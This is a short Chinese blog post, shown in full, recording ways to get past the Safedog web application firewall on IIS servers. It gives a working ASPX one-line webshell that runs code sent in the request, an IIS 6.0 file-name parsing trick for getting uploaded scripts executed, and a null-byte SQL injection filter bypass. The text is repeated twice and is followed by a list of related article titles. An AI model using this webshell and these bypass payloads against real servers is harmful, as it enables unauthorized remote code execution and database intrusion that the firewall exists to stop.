突破安全狗的一些记录
2013-10-07 10:36
106 查看
1、绕过IIS安全狗的一句话。
几天前测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["t00ls"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
连接端用cncert的aspx一句话客户端。
2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.xxxx.com/1.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析:
http://www.xxxx.com/;1.asp;1.jpg
3、安全狗的注入绕过。
常用的如seo.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果:
seo.asp?seo.com=%00.&id=69%20 and 1=1就可以成功绕过了。
几天前测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["t00ls"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
连接端用cncert的aspx一句话客户端。
2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.xxxx.com/1.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析:
http://www.xxxx.com/;1.asp;1.jpg
3、安全狗的注入绕过。
常用的如seo.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果:
seo.asp?seo.com=%00.&id=69%20 and 1=1就可以成功绕过了。
相关文章推荐
- 突破安全狗的一些记录
- 突破安全狗的一些记录
- 记录一下一些服务器的安全配置(随时更新)
- 突破安全狗防注入及上传的一些思路
- 白帽子讲安全 的一些记录点
- 白帽子讲安全 的一些记录点
- 白帽子讲安全 的一些记录点
- 白帽子讲安全 的一些记录点
- mysql-server 的一些记录
- Github上一些好用的开源项目(随时记录)
- 新产品为了效果,做的比較炫,用了非常多的图片和JS,所曾经端的性能是非常大的问题,分篇记录前端性能优化的一些小经验。
- PDO数据库的一些操作记录
- 大家好,第一次用博客记录一些东西
- 记录VI的一些高级用法
- 记录一些简单实用的vim用法
- QTcpSocket使用过程中的一些问题记录
- 关于EntityFramework 4.1 中Code First方式的一些记录
- XSLT 运算符 和 记录一些用过的语句
- 以前的一些记录
- 记录一些TinyXml使用指南(4)